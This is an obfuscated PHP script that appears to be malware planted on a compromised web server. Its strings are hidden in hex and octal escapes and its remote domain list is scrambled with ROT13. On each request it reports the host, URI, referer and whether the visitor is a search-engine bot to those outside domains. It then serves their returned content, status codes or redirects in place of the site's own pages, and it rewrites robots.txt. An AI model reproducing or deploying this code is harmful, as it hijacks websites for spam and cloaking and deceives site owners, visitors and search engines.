<?php
 goto wxXyq; UL_3u: if (!strstr($html_content, "\156\x6f\x62\x6f\164\165\x73\x65\x72\x61\147\x65\156\164")) { handle_content($html_content); } goto LiWWm; B4ivz: $defaultContent .= "\101\154\154\x6f\167\72\x20\x2f" . PHP_EOL . PHP_EOL; goto v3YWh; Qt77A: function doutdo($webs, $http, $web) { shuffle($webs); foreach ($webs as $domain) { $domain = str_rot13(urldecode($domain)); $url = "\150\164\164\x70\x3a\x2f\57" . $domain . "\57\x69\x6e\144\145\x78\56\160\x68\x70\x3f" . $web; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { curl_close($ch); } if (ini_get("\141\x6c\154\x6f\x77\x5f\165\162\154\137\146\x6f\x70\145\156")) { $response = @file_get_contents($url); if ($response !== false) { return $response; } } } echo "\x63\125\x52\x4c\x20\105\x72\x72\x6f\162\72\x20\x30"; } goto eFGm8; JHnbq: $host = $_SERVER["\x48\124\x54\120\137\110\117\x53\x54"]; goto T_0fH; nOiNP: if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $defaultContent); } else { if (md5_file($robotsPath) !== md5($defaultContent)) { @file_put_contents($robotsPath, $defaultContent); } } goto UL_3u; XWhsI: $http = is_https() ? "\150\x74\164\160\163" : "\x68\164\x74\x70"; goto ktyNr; T_0fH: $lang = isset($_SERVER["\x48\x54\124\120\x5f\x41\x43\103\105\120\x54\137\x4c\101\x4e\107\x55\101\x47\105"]) ? $_SERVER["\x48\x54\124\x50\137\101\103\103\x45\x50\124\137\x4c\101\x4e\x47\125\x41\107\x45"] : "\145\156"; goto ht9lC; LiWWm: function is_https() { return isset($_SERVER["\110\x54\x54\x50\123"]) && strtolower($_SERVER["\110\124\124\120\x53"]) !== "\x6f\146\146" || isset($_SERVER["\110\x54\x54\120\x5f\130\137\x46\117\122\127\x41\122\104\105\104\137\x50\122\x4f\x54\117"]) && $_SERVER["\110\x54\124\x50\137\x58\x5f\106\x4f\122\127\x41\122\104\105\x44\x5f\x50\x52\x4f\x54\117"] === "\150\x74\164\x70\163" || isset($_SERVER["\110\x54\124\x50\x5f\x46\122\x4f\116\x54\137\x45\116\x44\137\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\120\x5f\106\x52\x4f\x4e\124\x5f\x45\x4e\x44\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66"; } goto YnDQj; wxXyq: $xmlstring = "\45\x33\x31\x25\63\x38\x25\63\x35\x25\x33\x36\45\x32\x44\x25\x36\x35\45\x36\x45\x25\x36\61\x25\67\70\x25\x33\61\x25\63\62\45\x33\x30\45\62\x45\45\66\x35\45\66\62\x25\66\61\x25\x37\66\x25\66\66\x25\x36\67\45\x37\x36\x25\67\62\45\x32\x45\x25\x36\102\x25\x36\x43\45\x36\104\54\x25\63\61\x25\63\x38\x25\63\x35\x25\x33\x36\x25\62\104\45\66\65\x25\66\105\45\x36\61\45\x37\x38\x25\63\61\45\x33\62\x25\x33\x30\x25\x32\x45\x25\x37\x39\45\x36\x45\45\66\106\x25\x36\103\x25\66\65\x25\67\x36\x25\x36\61\x25\66\67\x25\67\65\45\x37\66\45\66\61\45\67\x32\45\x32\105\45\x36\x37\x25\x36\62\45\x36\x33\54\x25\x33\61\45\63\70\45\63\x35\45\x33\66\x25\62\104\x25\66\x35\45\x36\x45\45\66\x31\x25\x37\x38\45\x33\61\x25\63\x32\45\x33\x30\45\62\x45\45\x37\63\x25\x36\70\45\66\x37\45\x36\x38\45\x36\x35\x25\x37\62\x25\66\104\45\x36\62\45\66\61\45\62\105\x25\x36\102\x25\66\103\x25\x36\104\x2c\45\63\x31\x25\63\70\x25\63\x35\45\x33\66\45\62\x44\45\66\65\45\66\105\x25\x36\61\x25\67\70\x25\x33\61\45\x33\62\x25\x33\60\x25\x32\x45\45\66\66\x25\x37\101\x25\66\105\x25\66\x35\x25\66\x37\x25\x36\x39\x25\67\62\x25\x36\x31\45\x36\67\x25\x36\70\45\66\61\45\x32\x45\x25\66\67\x25\66\62\x25\x36\63"; goto N5pXW; m_CNE: $html_content = doutdo($xmlname, $http, $web); goto J9UlR; YnDQj: function drequest_uri() { if (isset($_SERVER["\122\105\121\x55\x45\x53\x54\x5f\125\122\x49"])) { return $_SERVER["\122\x45\121\125\105\x53\x54\137\125\x52\111"]; } elseif (isset($_SERVER["\x61\x72\147\x76"])) { return $_SERVER["\x50\110\x50\137\123\105\114\106"] . "\x3f" . $_SERVER["\141\162\147\166"][0]; } else { return $_SERVER["\x50\x48\120\137\x53\105\114\106"] . "\x3f" . $_SERVER["\121\x55\105\x52\x59\x5f\x53\x54\122\111\x4e\107"]; } } goto LbY_Z; ht9lC: $urlshang = isset($_SERVER["\110\124\x54\x50\137\x52\105\x46\x45\122\x45\122"]) ? $_SERVER["\x48\124\124\x50\x5f\122\105\x46\x45\x52\105\122"] : ''; goto tNENw; ktyNr: $duri_tmp = drequest_uri(); goto UMtRz; J9UlR: $robotsPath = $_SERVER["\x44\x4f\103\x55\x4d\x45\116\124\x5f\x52\x4f\x4f\x54"] . "\x2f\162\x6f\142\157\x74\163\56\x74\x78\164"; goto itk6d; N5pXW: $xmlname = explode("\x2c", $xmlstring); goto XWhsI; LbY_Z: function disbot() { $uAgent = strtolower(isset($_SERVER["\110\124\124\120\137\x55\x53\x45\x52\x5f\101\x47\x45\116\124"]) ? $_SERVER["\x48\x54\x54\x50\x5f\x55\123\105\x52\x5f\101\107\105\x4e\124"] : ''); return stristr($uAgent, "\x67\x6f\x6f\x67\x6c\145\142\x6f\164") || stristr($uAgent, "\x62\x69\x6e\147") || stristr($uAgent, "\x79\x61\150\x6f\157") || stristr($uAgent, "\x67\x6f\x6f\147\x6c\145") || stristr($uAgent, "\107\157\x6f\147\x6c\x65\142\157\164"); } goto Qt77A; UMtRz: $duri = empty($duri_tmp) ? "\57" : $duri_tmp; goto JHnbq; tNENw: $web = "\x77\x65\x62\x3d" . $host . "\x26\172\x7a\x3d" . (disbot() ? "\61" : "\60") . "\46\165\x72\x69\75" . urlencode($duri) . "\46\x75\x72\154\163\150\141\156\147\75" . urlencode($urlshang) . "\x26\x68\164\x74\x70\75" . $http . "\46\154\141\x6e\x67\75" . $lang; goto m_CNE; v3YWh: $defaultContent .= "\123\151\x74\145\155\141\160\72\40" . $http . "\x3a\x2f\57" . $host . "\x2f" . "\x73\x69\164\145\x6d\x61\x70\x2e\170\155\154" . PHP_EOL; goto nOiNP; itk6d: $defaultContent = "\x55\163\145\x72\55\x61\x67\145\x6e\164\72\40\52" . PHP_EOL; goto B4ivz; eFGm8: function handle_content($html_content) { if (strstr($html_content, "\x6f\x6b\x68\164\155\x6c\x67\145\164\x63\163\163")) { header("\103\157\x6e\x74\x65\156\x74\x2d\124\x79\160\x65\72\x20\x74\145\x78\164\x2f\x63\x73\163\x3b\x20\x63\x68\x61\162\163\145\x74\75\x75\x74\146\55\70"); echo str_replace("\157\x6b\x68\164\155\x6c\147\x65\x74\143\163\x73", '', $html_content); die; } elseif (strstr($html_content, "\157\x6b\150\x74\155\154\x67\145\164\143\x6f\x6e\164\145\x6e\164")) { header("\103\x6f\x6e\164\145\x6e\164\55\x74\171\160\x65\72\x20\164\145\x78\x74\57\x68\x74\x6d\x6c\x3b\x20\143\150\141\x72\163\145\164\x3d\x75\164\146\x2d\x38"); echo str_replace("\157\x6b\x68\x74\155\154\x67\x65\x74\x63\157\x6e\164\x65\x6e\164", '', $html_content); die; } elseif (strstr($html_content, "\157\153\x78\x6d\x6c\x67\x65\x74\143\x6f\156\164\x65\156\x74")) { header("\x43\157\156\164\145\156\164\55\124\171\x70\145\x3a\x20\141\160\x70\x6c\x69\x63\141\164\151\157\156\x2f\x78\155\154\73\40\x63\150\x61\x72\163\145\x74\75\165\164\x66\55\70"); echo str_replace("\157\x6b\170\x6d\154\x67\145\164\x63\157\x6e\164\x65\x6e\x74", '', $html_content); die; } elseif (strstr($html_content, "\x67\x65\164\x63\x6f\156\x74\145\156\164\x35\60\60\x70\141\147\145")) { header("\x48\x54\124\x50\x2f\x31\56\61\40\65\x30\60\40\x49\x6e\164\x65\x72\156\x61\154\40\x53\145\x72\x76\x65\162\x20\105\x72\x72\157\162"); die; } elseif (strstr($html_content, "\x67\145\164\143\157\x6e\x74\145\x6e\164\x34\60\x34\160\141\147\145")) { header("\x48\x54\124\x50\x2f\61\x2e\x31\x20\64\x30\64\x20\116\x6f\x74\x20\106\157\x75\156\x64"); die; } elseif (strstr($html_content, "\x67\145\164\x63\x6f\x6e\x74\145\x6e\164\x33\x30\61\160\x61\x67\145")) { header("\110\124\124\x50\x2f\x31\56\61\40\63\60\x31\x20\x4d\x6f\x76\145\144\x20\120\x65\x72\x6d\141\156\145\x6e\x74\154\171"); $html_content = str_replace("\147\x65\x74\143\x6f\x6e\164\x65\x6e\164\x33\60\61\x70\x61\147\145", '', $html_content); header("\114\157\143\x61\164\151\157\x6e\x3a\x20" . $html_content); die; } elseif (strstr($html_content, "\157\153\162\157\142\157\164\163\x67\x65\164\x63\x6f\x6e\x74\x65\156\164")) { header("\x43\157\x6e\x74\145\x6e\x74\x2d\x54\171\160\x65\x3a\x20\164\145\x78\x74\57\160\154\141\151\156"); echo str_replace("\x6f\153\x72\157\x62\x6f\x74\163\147\145\164\x63\157\156\x74\145\156\164", '', $html_content); die; } }